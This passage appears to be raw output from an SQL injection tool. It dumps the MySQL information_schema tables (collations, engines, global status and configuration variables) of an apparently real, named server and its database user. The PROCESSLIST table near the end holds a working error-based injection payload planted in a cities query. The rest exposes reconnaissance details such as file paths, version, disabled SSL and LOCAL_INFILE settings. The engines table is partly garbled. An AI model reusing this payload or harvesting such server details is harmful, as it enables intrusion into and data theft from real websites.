  665. | utf8_danish_ci | utf8 |
  666. | utf8_esperanto_ci | utf8 |
  667. | utf8_estonian_ci | utf8 |
  668. | utf8_general_ci | utf8 |
  669. | utf8_general_mysql500_ci | utf8 |
  670. | utf8_hungarian_ci | utf8 |
  671. | utf8_icelandic_ci | utf8 |
  672. | utf8_latvian_ci | utf8 |
  673. | utf8_lithuanian_ci | utf8 |
  674. | utf8_persian_ci | utf8 |
  675. | utf8_polish_ci | utf8 |
  676. | utf8_romanian_ci | utf8 |
  677. | utf8_roman_ci | utf8 |
  678. | utf8_slovak_ci | utf8 |
  679. | utf8_slovenian_ci | utf8 |
  680. | utf8_spanish2_ci | utf8 |
  681. | utf8_spanish_ci | utf8 |
  682. | utf8_swedish_ci | utf8 |
  683. | utf8_turkish_ci | utf8 |
  684. | utf8_unicode_ci | utf8 |
  685. +--------------------------+--------------------+
  686. Database: information_schema
  687. Table: COLUMN_PRIVILEGES
  688. [0 entries]
  689. Database: information_schema
  690. Table: ENGINES
  691. [8 entries]
  692. +------+-----------+----------------------------------------------------------------+---------+------------+--------------+
  693. | XA | ENGINE | COMMENT | SUPPORT | SAVEPOINTS | TRANSACTIONS |
  694. +------+-----------+----------------------------------------------------------------+---------+------------+--------------+
  695. | NULL | FEDERATED | Federated MySQL storage engine | NO | NULL | NULL |
  696. | NO | MyISAM | Default engine as of MySQL 3.23 with great performance | DEFAULT | NO | NO |
  697. | NO | ARCHIVE | Archive storage engine | YES | NO | NO |
  698. | NO | MEMORY | Hash based, stored in memory, useful for temporary tables | YES | NO | NO |
  699. | NO | CSV | CSV storage engine | YES | NO | NO |
  700. | NO | CSV | /dev/null storage engine (anything you write to it disappears) | YES | NO | NO |
  701. | NO | BLACKHOLE | Collection of identical MyISAM tables | YES | NO | NO |
  702. | YES | InnoDB | Supports transactions, row-level locking, and foreign keys | YES | YES | YES |
  703. +------+-----------+----------------------------------------------------------------+---------+------------+--------------+
  704. Database: information_schema
  705. Table: EVENTS
  706. [0 entries]
  707. Database: information_schema
  708. Table: FILES
  709. [0 entries]
  710. Database: information_schema
  711. Table: GLOBAL_STATUS
  712. [296 entries]
  713. +-----------------------------------+----------------+
  714. | VARIABLE_NAME | VARIABLE_VALUE |
  715. +-----------------------------------+----------------+
  716. | COM_DELETE_MULTI | 0 |
  717. | COM_DO | 0 |
  718. | COM_DROP_DB | 10 |
  719. | COM_DROP_EVENT | 0 |
  720. | COM_DROP_FUNCTION | 0 |
  721. | COM_DROP_INDEX | 112 |
  722. | COM_DROP_PROCEDURE | 0 |
  723. | COM_DROP_SERVER | 0 |
  724. | COM_DROP_TABLE | 54 |
  725. | COM_DROP_TRIGGER | 0 |
  726. | COM_DROP_USER | 15 |
  727. | COM_DROP_VIEW | 0 |
  728. | COM_EMPTY_QUERY | 0 |
  729. | COM_EXECUTE_SQL | 0 |
  730. | COM_FLUSH | 14 |
  731. | COM_GRANT | 49 |
  732. | COM_HA_CLOSE | 0 |
  733. | COM_HA_OPEN | 0 |
  734. | COM_HA_READ | 0 |
  735. | COM_HELP | 0 |
  736. | COM_INSERT | 10928 |
  737. | COM_INSERT_SELECT | 540 |
  738. | COM_INSTALL_PLUGIN | 0 |
  739. | COM_KILL | 0 |
  740. | COM_LOAD | 0 |
  741. | COM_LOAD_MASTER_DATA | 0 |
  742. | COM_LOAD_MASTER_TABLE | 0 |
  743. | COM_LOCK_TABLES | 337 |
  744. | COM_OPTIMIZE | 2 |
  745. | COM_PRELOAD_KEYS | 0 |
  746. | COM_PREPARE_SQL | 0 |
  747. | COM_PURGE | 0 |
  748. | COM_PURGE_BEFORE_DATE | 0 |
  749. | COM_RELEASE_SAVEPOINT | 0 |
  750. | COM_RENAME_TABLE | 0 |
  751. | COM_RENAME_USER | 0 |
  752. | COM_REPAIR | 0 |
  753. | COM_REPLACE | 123877 |
  754. | COM_REPLACE_SELECT | 0 |
  755. | COM_RESET | 0 |
  756. | COM_RESTORE_TABLE | 0 |
  757. | COM_REVOKE | 0 |
  758. | COM_REVOKE_ALL | 10 |
  759. | COM_ROLLBACK | 0 |
  760. | COM_ROLLBACK_TO_SAVEPOINT | 0 |
  761. | COM_SAVEPOINT | 0 |
  762. | COM_SELECT | 12463729 |
  763. | COM_SET_OPTION | 2775790 |
  764. | COM_SHOW_AUTHORS | 0 |
  765. | COM_SHOW_BINLOGS | 18 |
  766. | COM_SHOW_BINLOG_EVENTS | 0 |
  767. | COM_SHOW_CHARSETS | 19 |
  768. | COM_SHOW_CLIENT_STATISTICS | 0 |
  769. | COM_SHOW_COLLATIONS | 0 |
  770. | COM_SHOW_COLUMN_TYPES | 0 |
  771. | COM_SHOW_CONTRIBUTORS | 0 |
  772. | COM_SHOW_CREATE_DB | 71 |
  773. | COM_SHOW_CREATE_EVENT | 0 |
  774. | COM_SHOW_CREATE_FUNC | 0 |
  775. | COM_SHOW_CREATE_PROC | 0 |
  776. | COM_SHOW_CREATE_TABLE | 29246 |
  777. | COM_SHOW_CREATE_TRIGGER | 0 |
  778. | COM_SHOW_DATABASES | 19 |
  779. | COM_SHOW_ENGINE_LOGS | 0 |
  780. | COM_SHOW_ENGINE_MUTEX | 0 |
  781. | COM_SHOW_ENGINE_STATUS | 0 |
  782. | COM_SHOW_ERRORS | 0 |
  783. | COM_SHOW_EVENTS | 0 |
  784. | COM_SHOW_FIELDS | 30189 |
  785. | COM_SHOW_FUNCTION_STATUS | 125 |
  786. | COM_SHOW_GRANTS | 118 |
  787. | COM_SHOW_INDEX_STATISTICS | 0 |
  788. | COM_SHOW_KEYS | 33 |
  789. | COM_SHOW_MASTER_STATUS | 6 |
  790. | COM_SHOW_NEW_MASTER | 0 |
  791. | COM_SHOW_OPEN_TABLES | 0 |
  792. | COM_SHOW_PLUGINS | 0 |
  793. | COM_SHOW_PRIVILEGES | 0 |
  794. | COM_SHOW_PROCEDURE_STATUS | 125 |
  795. | COM_SHOW_PROCESSLIST | 2483 |
  796. | COM_SHOW_PROFILE | 0 |
  797. | COM_SHOW_PROFILES | 0 |
  798. | COM_SHOW_SLAVE_HOSTS | 0 |
  799. | COM_SHOW_SLAVE_STATUS | 6 |
  800. | COM_SHOW_STATUS | 0 |
  801. | COM_SHOW_STORAGE_ENGINES | 0 |
  802. | COM_SHOW_TABLES | 915 |
  803. | COM_SHOW_TABLE_STATISTICS | 0 |
  804. | COM_SHOW_TABLE_STATUS | 2879 |
  805. | COM_SHOW_THREAD_STATISTICS | 0 |
  806. | COM_SHOW_TRIGGERS | 1479 |
  807. | COM_SHOW_USER_STATISTICS | 0 |
  808. | COM_SHOW_VARIABLES | 102 |
  809. | COM_SHOW_WARNINGS | 5 |
  810. | COM_SLAVE_START | 0 |
  811. | COM_SLAVE_STOP | 0 |
  812. | COM_STMT_CLOSE | 1482008 |
  813. | COM_STMT_EXECUTE | 1482008 |
  814. | COM_STMT_FETCH | 0 |
  815. | COM_STMT_PREPARE | 1482029 |
  816. | COM_STMT_REPREPARE | 0 |
  817. | COM_STMT_RESET | 1482008 |
  818. | COM_STMT_SEND_LONG_DATA | 0 |
  819. | COM_TRUNCATE | 0 |
  820. | COM_UNINSTALL_PLUGIN | 0 |
  821. | COM_UNLOCK_TABLES | 337 |
  822. | COM_UPDATE | 716760 |
  823. | COM_UPDATE_MULTI | 1254 |
  824. | COM_XA_COMMIT | 0 |
  825. | COM_XA_END | 0 |
  826. | COM_XA_PREPARE | 0 |
  827. | COM_XA_RECOVER | 0 |
  828. | COM_XA_ROLLBACK | 0 |
  829. | COM_XA_START | 0 |
  830. | CONNECTIONS | 1812307 |
  831. | CREATED_TMP_DISK_TABLES | 75427 |
  832. | CREATED_TMP_FILES | 31397 |
  833. | CREATED_TMP_TABLES | 259833 |
  834. | DELAYED_ERRORS | 0 |
  835. | DELAYED_INSERT_THREADS | 0 |
  836. | DELAYED_WRITES | 602 |
  837. | FLUSH_COMMANDS | 1 |
  838. | HANDLER_COMMIT | 7299687 |
  839. | HANDLER_DELETE | 7498 |
  840. | HANDLER_DISCOVER | 0 |
  841. | HANDLER_PREPARE | 0 |
  842. | HANDLER_READ_FIRST | 167808 |
  843. | HANDLER_READ_KEY | 2039330134 |
  844. | HANDLER_READ_NEXT | 2902901744 |
  845. | HANDLER_READ_PREV | 5865630827 |
  846. | HANDLER_READ_RND | 1903596274 |
  847. | HANDLER_READ_RND_NEXT | 36492382244 |
  848. | HANDLER_ROLLBACK | 2850 |
  849. | HANDLER_SAVEPOINT | 0 |
  850. | HANDLER_SAVEPOINT_ROLLBACK | 0 |
  851. | HANDLER_UPDATE | 8455872 |
  852. | HANDLER_WRITE | 9245162 |
  853. | INNODB_BUFFER_POOL_PAGES_DATA | 16286 |
  854. | INNODB_BUFFER_POOL_PAGES_DIRTY | 5 |
  855. | INNODB_BUFFER_POOL_PAGES_FLUSHED | 1165708 |
  856. | INNODB_BUFFER_POOL_PAGES_FREE | 34 |
  857. | INNODB_BUFFER_POOL_PAGES_MISC | 64 |
  858. | INNODB_BUFFER_POOL_PAGES_TOTAL | 16384 |
  859. | INNODB_BUFFER_POOL_READS | 21676 |
  860. | INNODB_BUFFER_POOL_READ_AHEAD_RND | 661 |
  861. | INNODB_BUFFER_POOL_READ_AHEAD_SEQ | 101 |
  862. | INNODB_BUFFER_POOL_READ_REQUESTS | 16075956319 |
  863. | INNODB_BUFFER_POOL_WAIT_FREE | 0 |
  864. | INNODB_BUFFER_POOL_WRITE_REQUESTS | 17411827 |
  865. | INNODB_DATA_FSYNCS | 491418 |
  866. | INNODB_DATA_PENDING_FSYNCS | 0 |
  867. | INNODB_DATA_PENDING_READS | 0 |
  868. | INNODB_DATA_PENDING_WRITES | 0 |
  869. | INNODB_DATA_READ | 692752384 |
  870. | INNODB_DATA_READS | 25563 |
  871. | INNODB_DATA_WRITES | 1276723 |
  872. | INNODB_DATA_WRITTEN | 39503926784 |
  873. | INNODB_DBLWR_PAGES_WRITTEN | 1165732 |
  874. | INNODB_DBLWR_WRITES | 71342 |
  875. | INNODB_LOG_WAITS | 752 |
  876. | INNODB_LOG_WRITES | 586201 |
  877. | INNODB_LOG_WRITE_REQUESTS | 1915197 |
  878. | INNODB_OS_LOG_FSYNCS | 281325 |
  879. | INNODB_OS_LOG_PENDING_FSYNCS | 0 |
  880. | INNODB_OS_LOG_PENDING_WRITES | 0 |
  881. | INNODB_OS_LOG_WRITTEN | 1276064256 |
  882. | INNODB_PAGES_CREATED | 7171 |
  883. | INNODB_PAGES_READ | 42149 |
  884. | INNODB_PAGES_WRITTEN | 1165732 |
  885. | INNODB_PAGE_SIZE | 16384 |
  886. | INNODB_ROWS_DELETED | 15 |
  887. | INNODB_ROWS_INSERTED | 2644 |
  888. | INNODB_ROWS_READ | 9891807730 |
  889. | INNODB_ROWS_UPDATED | 7918621 |
  890. | INNODB_ROW_LOCK_CURRENT_WAITS | 0 |
  891. | INNODB_ROW_LOCK_TIME | 15671 |
  892. | INNODB_ROW_LOCK_TIME_AVG | 29 |
  893. | INNODB_ROW_LOCK_TIME_MAX | 5488 |
  894. | INNODB_ROW_LOCK_WAITS | 523 |
  895. | KEY_BLOCKS_NOT_FLUSHED | 0 |
  896. | KEY_BLOCKS_UNUSED | 24085 |
  897. | KEY_BLOCKS_USED | 2707 |
  898. | KEY_READS | 2843 |
  899. | KEY_READ_REQUESTS | 705002308 |
  900. | KEY_WRITES | 72188 |
  901. | KEY_WRITE_REQUESTS | 126013 |
  902. | LAST_QUERY_COST | 0.000000 |
  903. | MAX_USED_CONNECTIONS | 100 |
  904. | NOT_FLUSHED_DELAYED_ROWS | 0 |
  905. | OPENED_FILES | 352964 |
  906. | OPENED_TABLES | 64993 |
  907. | OPENED_TABLE_DEFINITIONS | 4117 |
  908. | OPEN_FILES | 525 |
  909. | OPEN_STREAMS | 0 |
  910. | OPEN_TABLES | 639 |
  911. | OPEN_TABLE_DEFINITIONS | 293 |
  912. | PREPARED_STMT_COUNT | 0 |
  913. | QCACHE_FREE_BLOCKS | 36710 |
  914. | QCACHE_FREE_MEMORY | 117972704 |
  915. | QCACHE_HITS | 24980280 |
  916. | QCACHE_INSERTS | 12171724 |
  917. | QCACHE_LOWMEM_PRUNES | 58095 |
  918. | QCACHE_NOT_CACHED | 265885 |
  919. | QCACHE_QUERIES_IN_CACHE | 63080 |
  920. | QCACHE_TOTAL_BLOCKS | 166206 |
  921. | QUERIES | 49960315 |
  922. | QUESTIONS | 45514184 |
  923. | RPL_STATUS | NULL |
  924. | SELECT_FULL_JOIN | 129 |
  925. | SELECT_FULL_RANGE_JOIN | 0 |
  926. | SELECT_RANGE | 1663683 |
  927. | SELECT_RANGE_CHECK | 0 |
  928. | SELECT_SCAN | 5186912 |
  929. | SLAVE_OPEN_TEMP_TABLES | 0 |
  930. | SLAVE_RETRIED_TRANSACTIONS | 0 |
  931. | SLAVE_RUNNING | OFF |
  932. | SLOW_LAUNCH_THREADS | 0 |
  933. | SLOW_QUERIES | 112 |
  934. | SORT_MERGE_PASSES | 15698 |
  935. | SORT_RANGE | 1604081 |
  936. | SORT_ROWS | 208921594 |
  937. | SORT_SCAN | 2771534 |
  938. | SSL_ACCEPTS | 0 |
  939. | SSL_ACCEPT_RENEGOTIATES | 0 |
  940. | SSL_CALLBACK_CACHE_HITS | 0 |
  941. | SSL_CIPHER | <blank> |
  942. | SSL_CIPHER_LIST | <blank> |
  943. | SSL_CLIENT_CONNECTS | 0 |
  944. | SSL_CONNECT_RENEGOTIATES | 0 |
  945. | SSL_CTX_VERIFY_DEPTH | 0 |
  946. | SSL_CTX_VERIFY_MODE | 0 |
  947. | SSL_DEFAULT_TIMEOUT | 0 |
  948. | SSL_FINISHED_ACCEPTS | 0 |
  949. | SSL_FINISHED_CONNECTS | 0 |
  950. | SSL_SESSIONS_REUSED | 0 |
  951. | SSL_SESSION_CACHE_HITS | 0 |
  952. | SSL_SESSION_CACHE_MISSES | 0 |
  953. | SSL_SESSION_CACHE_MODE | NONE |
  954. | SSL_SESSION_CACHE_OVERFLOWS | 0 |
  955. | SSL_SESSION_CACHE_SIZE | 0 |
  956. | SSL_SESSION_CACHE_TIMEOUTS | 0 |
  957. | SSL_USED_SESSION_CACHE_ENTRIES | 0 |
  958. | SSL_VERIFY_DEPTH | 0 |
  959. | SSL_VERIFY_MODE | 0 |
  960. | SSL_VERSION | <blank> |
  961. | TABLE_LOCKS_IMMEDIATE | 14046673 |
  962. | TABLE_LOCKS_WAITED | 32614 |
  963. | TC_LOG_MAX_PAGES_USED | 0 |
  964. | TC_LOG_PAGE_SIZE | 0 |
  965. | TC_LOG_PAGE_WAITS | 0 |
  966. | THREADS_CACHED | 99 |
  967. | THREADS_CONNECTED | 2 |
  968. | THREADS_CREATED | 100 |
  969. | THREADS_RUNNING | 2 |
  970. | UPTIME | 744978 |
  971. | UPTIME_SINCE_FLUSH_STATUS | 744979 |
  972. +-----------------------------------+----------------+
  973. Database: information_schema
  974. Table: GLOBAL_VARIABLES 
  975. +----+-------+----------------------------------+------------------+--------------------------------+---------+------------+
  976. DELAYED_INSERT_LIMIT | 100 |
  977. | DELAYED_INSERT_TIMEOUT | 300 |
  978. | DELAYED_QUEUE_SIZE | 1000 |
  979. | DELAY_KEY_WRITE | ON |
  980. | DIV_PRECISION_INCREMENT | 4 |
  981. | ENGINE_CONDITION_PUSHDOWN | ON |
  982. | ERROR_COUNT | 0 |
  983. | EVENT_SCHEDULER | OFF |
  984. | EXPIRE_LOGS_DAYS | 0 |
  985. | FLUSH | OFF |
  986. | FLUSH_TIME | 0 |
  987. | FOREIGN_KEY_CHECKS | ON |
  988. | FT_BOOLEAN_SYNTAX | + -><()~*:""&| |
  989. | FT_MAX_WORD_LEN | 84 |
  990. | FT_MIN_WORD_LEN | 4 |
  991. | FT_QUERY_EXPANSION_LIMIT | 20 |
  992. | FT_STOPWORD_FILE | (built-in) |
  993. | GENERAL_LOG | OFF |
  994. | GENERAL_LOG_FILE | /var/lib/mysql/saied.log |
  995. | GROUP_CONCAT_MAX_LEN | 1024 |
  996. | HAVE_COMMUNITY_FEATURES | YES |
  997. | HAVE_COMPRESS | YES |
  998. | HAVE_CRYPT | YES |
  999. | HAVE_CSV | YES |
  1000. | HAVE_DYNAMIC_LOADING | YES |
  1001. | HAVE_GEOMETRY | YES |
  1002. | HAVE_INNODB | YES |
  1003. | HAVE_NDBCLUSTER | NO |
  1004. | HAVE_OPENSSL | DISABLED |
  1005. | HAVE_PARTITIONING | YES |
  1006. | HAVE_QUERY_CACHE | YES |
  1007. | HAVE_RTREE_KEYS | YES |
  1008. | HAVE_SSL | DISABLED |
  1009. | HAVE_SYMLINK | YES |
  1010. | HOSTNAME | saied.3agelnetwork.net |
  1011. | IDENTITY | 0 |
  1012. | IGNORE_BUILTIN_INNODB | OFF |
  1013. | INIT_CONNECT | <blank> |
  1014. | INIT_FILE | <blank> |
  1015. | INIT_SLAVE | <blank> |
  1016. | INNODB_ADAPTIVE_HASH_INDEX | ON |
  1017. | INNODB_ADDITIONAL_MEM_POOL_SIZE | 1048576 |
  1018. | INNODB_AUTOEXTEND_INCREMENT | 8 |
  1019. | INNODB_AUTOINC_LOCK_MODE | 1 |
  1020. | INNODB_BUFFER_POOL_SIZE | 268435456 |
  1021. | INNODB_CHECKSUMS | ON |
  1022. | INNODB_COMMIT_CONCURRENCY | 0 |
  1023. | INNODB_CONCURRENCY_TICKETS | 500 |
  1024. | INNODB_DATA_FILE_PATH | ibdata1:10M:autoextend |
  1025. | INNODB_DATA_HOME_DIR | <blank> |
  1026. | INNODB_DOUBLEWRITE | ON |
  1027. | INNODB_FAST_SHUTDOWN | 1 |
  1028. | INNODB_FILE_IO_THREADS | 4 |
  1029. | INNODB_FILE_PER_TABLE | ON |
  1030. | INNODB_FLUSH_LOG_AT_TRX_COMMIT | 2 |
  1031. | INNODB_FLUSH_METHOD | <blank> |
  1032. | INNODB_FORCE_RECOVERY | 0 |
  1033. | INNODB_LOCKS_UNSAFE_FOR_BINLOG | OFF |
  1034. | INNODB_LOCK_WAIT_TIMEOUT | 50 |
  1035. | INNODB_LOG_BUFFER_SIZE | 1048576 |
  1036. | INNODB_LOG_FILES_IN_GROUP | 2 |
  1037. | INNODB_LOG_FILE_SIZE | 5242880 |
  1038. | INNODB_LOG_GROUP_HOME_DIR | ./ |
  1039. | INNODB_MAX_DIRTY_PAGES_PCT | 90 |
  1040. | INNODB_MAX_PURGE_LAG | 0 |
  1041. | INNODB_MIRRORED_LOG_GROUPS | 1 |
  1042. | INNODB_OPEN_FILES | 300 |
  1043. | INNODB_ROLLBACK_ON_TIMEOUT | OFF |
  1044. | INNODB_STATS_METHOD | nulls_equal |
  1045. | INNODB_STATS_ON_METADATA | ON |
  1046. | INNODB_SUPPORT_XA | ON |
  1047. | INNODB_SYNC_SPIN_LOOPS | 20 |
  1048. | INNODB_TABLE_LOCKS | ON |
  1049. | INNODB_THREAD_CONCURRENCY | 8 |
  1050. | INNODB_THREAD_SLEEP_DELAY | 10000 |
  1051. | INNODB_USE_LEGACY_CARDINALITY_ALGORITHM | ON |
  1052. | INSERT_ID | 0 |
  1053. | INTERACTIVE_TIMEOUT | 30 |
  1054. | JOIN_BUFFER_SIZE | 1048576 |
  1055. | KEEP_FILES_ON_CREATE | OFF |
  1056. | KEY_BUFFER_SIZE | 33554432 |
  1057. | KEY_CACHE_AGE_THRESHOLD | 300 |
  1058. | KEY_CACHE_BLOCK_SIZE | 1024 |
  1059. | KEY_CACHE_DIVISION_LIMIT | 100 |
  1060. | LANGUAGE | /usr/share/mysql/english/ |
  1061. | LARGE_FILES_SUPPORT | ON |
  1062. | LARGE_PAGES | OFF |
  1063. | LARGE_PAGE_SIZE | 0 |
  1064. | LAST_INSERT_ID | 0 |
  1065. | LC_TIME_NAMES | en_US |
  1066. | LICENSE | GPL |
  1067. | LOCAL_INFILE | ON |
  1068. | LOCKED_IN_MEMORY | OFF |
  1069. | LOG | OFF |
  1070. | LOG_BIN | OFF |
  1071. | LOG_BIN_TRUST_FUNCTION_CREATORS | OFF |
  1072. | LOG_BIN_TRUST_ROUTINE_CREATORS | OFF |
  1073. | LOG_ERROR | /var/lib/mysql/saied.3agelnetwork.net.err |
  1074. | LOG_OUTPUT | FILE |
  1075. | LOG_QUERIES_NOT_USING_INDEXES | OFF |
  1076. | LOG_SLAVE_UPDATES | OFF |
  1077. | LOG_SLOW_QUERIES | OFF |
  1078. | LOG_WARNINGS | 1 |
  1079. | LONG_QUERY_TIME | 10.000000 |
  1080. | LOWER_CASE_FILE_SYSTEM | OFF |
  1081. | LOWER_CASE_TABLE_NAMES | 0 |
  1082. | LOW_PRIORITY_UPDATES | ON |
  1083. | MAX_ALLOWED_PACKET | 536870912 |
  1084. | MAX_BINLOG_CACHE_SIZE | 18446744073709547520 |
  1085. | MAX_BINLOG_SIZE | 1073741824 |
  1086. | MAX_CONNECTIONS | 150 |
  1087. | MAX_CONNECT_ERRORS | 10 |
  1088. | MAX_DELAYED_THREADS | 20 |
  1089. | MAX_ERROR_COUNT | 64 |
  1090. | MAX_HEAP_TABLE_SIZE | 67108864 |
  1091. | MAX_INSERT_DELAYED_THREADS | 20 |
  1092. | MAX_JOIN_SIZE | 18446744073709551615 |
  1093. | MAX_LENGTH_FOR_SORT_DATA | 1024 |
  1094. | MAX_LONG_DATA_SIZE | 536870912 |
  1095. | MAX_PREPARED_STMT_COUNT | 16382 |
  1096. | MAX_RELAY_LOG_SIZE | 0 |
  1097. | MAX_SEEKS_FOR_KEY | 18446744073709551615 |
  1098. | MAX_SORT_LENGTH | 1024 |
  1099. | MAX_SP_RECURSION_DEPTH | 0 |
  1100. | MAX_TMP_TABLES | 32 |
  1101. | MAX_USER_CONNECTIONS | 0 |
  1102. | MAX_WRITE_LOCK_COUNT | 18446744073709551615 |
  1103. | MIN_EXAMINED_ROW_LIMIT | 0 |
  1104. | MULTI_RANGE_COUNT | 256 |
  1105. | MYISAM_DATA_POINTER_SIZE | 6 |
  1106. | MYISAM_MAX_SORT_FILE_SIZE | 9223372036853727232 |
  1107. | MYISAM_MMAP_SIZE | 18446744073709551615 |
  1108. | MYISAM_RECOVER_OPTIONS | OFF |
  1109. | MYISAM_REPAIR_THREADS | 1 |
  1110. | MYISAM_SORT_BUFFER_SIZE | 8388608 |
  1111. | MYISAM_STATS_METHOD | nulls_unequal |
  1112. | MYISAM_USE_MMAP | OFF |
  1113. | NET_BUFFER_LENGTH | 2048 |
  1114. | NET_READ_TIMEOUT | 30 |
  1115. | NET_RETRY_COUNT | 10 |
  1116. | NET_WRITE_TIMEOUT | 60 |
  1117. | NEW | OFF |
  1118. | OLD | OFF |
  1119. | OLD_ALTER_TABLE | OFF |
  1120. | OLD_PASSWORDS | OFF |
  1121. | OPEN_FILES_LIMIT | 4256 |
  1122. | OPTIMIZER_PRUNE_LEVEL | 1 |
  1123. | OPTIMIZER_SEARCH_DEPTH | 62 |
  1124. | OPTIMIZER_SWITCH | index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on |
  1125. | PID_FILE | /var/lib/mysql/saied.3agelnetwork.net.pid |
  1126. | PLUGIN_DIR | /usr/lib64/mysql/plugin |
  1127. | PORT | 3306 |
  1128. | PRELOAD_BUFFER_SIZE | 32768 |
  1129. | PROFILING | OFF |
  1130. | PROFILING_HISTORY_SIZE | 15 |
  1131. | PROTOCOL_VERSION | 10 |
  1132. | PSEUDO_THREAD_ID | 0 |
  1133. | QUERY_ALLOC_BLOCK_SIZE | 8192 |
  1134. | QUERY_CACHE_LIMIT | 2097152 |
  1135. | QUERY_CACHE_MIN_RES_UNIT | 4096 |
  1136. | QUERY_CACHE_SIZE | 268435456 |
  1137. | QUERY_CACHE_TYPE | ON |
  1138. | QUERY_CACHE_WLOCK_INVALIDATE | OFF |
  1139. | QUERY_PREALLOC_SIZE | 8192 |
  1140. | RAND_SEED1 | <blank> |
  1141. | RAND_SEED2 | <blank> |
  1142. | RANGE_ALLOC_BLOCK_SIZE | 4096 |
  1143. | READ_BUFFER_SIZE | 1048576 |
  1144. | READ_ONLY | OFF |
  1145. | READ_RND_BUFFER_SIZE | 1048576 |
  1146. | RELAY_LOG | <blank> |
  1147. | RELAY_LOG_INDEX | <blank> |
  1148. | RELAY_LOG_INFO_FILE | relay-log.info |
  1149. | RELAY_LOG_PURGE | ON |
  1150. | RELAY_LOG_SPACE_LIMIT | 0 |
  1151. | REPORT_HOST | <blank> |
  1152. | REPORT_PASSWORD | <blank> |
  1153. | REPORT_PORT | 3306 |
  1154. | REPORT_USER | <blank> |
  1155. | RPL_RECOVERY_RANK | 0 |
  1156. | SECURE_AUTH | OFF |
  1157. | SECURE_FILE_PRIV | <blank> |
  1158. | SERVER_ID | 0 |
  1159. | SKIP_EXTERNAL_LOCKING | ON |
  1160. | SKIP_NAME_RESOLVE | OFF |
  1161. | SKIP_NETWORKING | OFF |
  1162. | SKIP_SHOW_DATABASE | OFF |
  1163. | SLAVE_COMPRESSED_PROTOCOL | OFF |
  1164. | SLAVE_EXEC_MODE | STRICT |
  1165. | SLAVE_LOAD_TMPDIR | /var/lib/mysqltmp |
  1166. | SLAVE_MAX_ALLOWED_PACKET | 1073741824 |
  1167. | SLAVE_NET_TIMEOUT | 3600 |
  1168. | SLAVE_SKIP_ERRORS | OFF |
  1169. | SLAVE_TRANSACTION_RETRIES | 10 |
  1170. | SLOW_LAUNCH_TIME | 2 |
  1171. | SLOW_QUERY_LOG | OFF |
  1172. | SLOW_QUERY_LOG_FILE | /var/lib/mysql/saied-slow.log |
  1173. | SOCKET | /var/lib/mysql/mysql.sock |
  1174. | SORT_BUFFER_SIZE | 1048576 |
  1175. | SQL_AUTO_IS_NULL | ON |
  1176. | SQL_BIG_SELECTS | ON |
  1177. | SQL_BIG_TABLES | OFF |
  1178. | SQL_BUFFER_RESULT | OFF |
  1179. | SQL_LOG_BIN | ON |
  1180. | SQL_LOG_OFF | OFF |
  1181. | SQL_LOG_UPDATE | ON |
  1182. | SQL_LOW_PRIORITY_UPDATES | ON |
  1183. | SQL_MAX_JOIN_SIZE | 18446744073709551615 |
  1184. | SQL_MODE | <blank> |
  1185. | SQL_NOTES | ON |
  1186. | SQL_QUOTE_SHOW_CREATE | ON |
  1187. | SQL_SAFE_UPDATES | OFF |
  1188. | SQL_SELECT_LIMIT | 18446744073709551615 |
  1189. | SQL_SLAVE_SKIP_COUNTER | <blank> |
  1190. | SQL_WARNINGS | OFF |
  1191. | SSL_CA | <blank> |
  1192. | SSL_CAPATH | <blank> |
  1193. | SSL_CERT | <blank> |
  1194. | SSL_CIPHER | <blank> |
  1195. | SSL_KEY | <blank> |
  1196. | STORAGE_ENGINE | MyISAM |
  1197. | SYNC_BINLOG | 0 |
  1198. | SYNC_FRM | ON |
  1199. | SYSTEM_TIME_ZONE | EET |
  1200. | TABLE_DEFINITION_CACHE | 256 |
  1201. | TABLE_LOCK_WAIT_TIMEOUT | 50 |
  1202. | TABLE_OPEN_CACHE | 2048 |
  1203. | TABLE_TYPE | MyISAM |
  1204. | THREAD_CACHE_SIZE | 150 |
  1205. | THREAD_HANDLING | one-thread-per-connection |
  1206. | THREAD_STACK | 262144 |
  1207. | THREAD_STATISTICS | OFF |
  1208. | TIMED_MUTEXES | OFF |
  1209. | TIMESTAMP | 1394726708 |
  1210. | TIME_FORMAT | %H:%i:%s |
  1211. | TIME_ZONE | SYSTEM |
  1212. | TMPDIR | /var/lib/mysqltmp |
  1213. | TMP_TABLE_SIZE | 33554432 |
  1214. | TRANSACTION_ALLOC_BLOCK_SIZE | 8192 |
  1215. | TRANSACTION_PREALLOC_SIZE | 4096 |
  1216. | TX_ISOLATION | REPEATABLE-READ |
  1217. | UNIQUE_CHECKS | ON |
  1218. | UPDATABLE_VIEWS_WITH_LIMIT | YES |
  1219. | USERSTAT_RUNNING | OFF |
  1220. | VERSION | 5.1.73-cll |
  1221. | VERSION_COMMENT | MySQL Community Server (GPLv2) |
  1222. | VERSION_COMPILE_MACHINE | x86_64 |
  1223. | VERSION_COMPILE_OS | unknown-linux-gnu |
  1224. | WAIT_TIMEOUT | 30 |
  1225. | WARNING_COUNT | 0 |
  1226. +-----------------------------------------+-------------------------------------------------------------------------------------------+
  1227. Database: information_schema
  1228. Table: PROCESSLIST
  1229. [3 entries]
  1230. +---------+----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------+----------------+-----------------+--------+---------+
  1231. | ID | DB | INFO | HOST | STATE | USER | TIME | COMMAND |
  1232. +---------+----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------+----------------+-----------------+--------+---------+
  1233. | 1845810 | centmen_docsdb | SELECT * FROM `cities` WHERE `city_lang` = 'en' AND (SELECT 9761 FROM(SELECT COUNT(*),CONCAT(0x7172617a71,(SELECT MID((IFNULL(CAST(INFO AS CHAR),0x20)),151,50) FROM information_schema.PROCESSLIST ORDER BY ID LIMIT 0,1),0x7171687271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'eJTw'='eJTw' AND true GROUP BY `city_id` | localhost | Opening tables | centmen_docsudb | 0 | Query |
  1234. | | | | | | | | |
  1235. | | | | | | | | |
  1236. +---------+----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------+----------------+-----------------+--------+---------+
  1237. Database: information_schema
  1238. Table: PROFILING
  1239. [0 entries]
  1240. Database: information_schema
  1241. Table: REFERENTIAL_CONSTRAINTS
  1242. [0 entries]
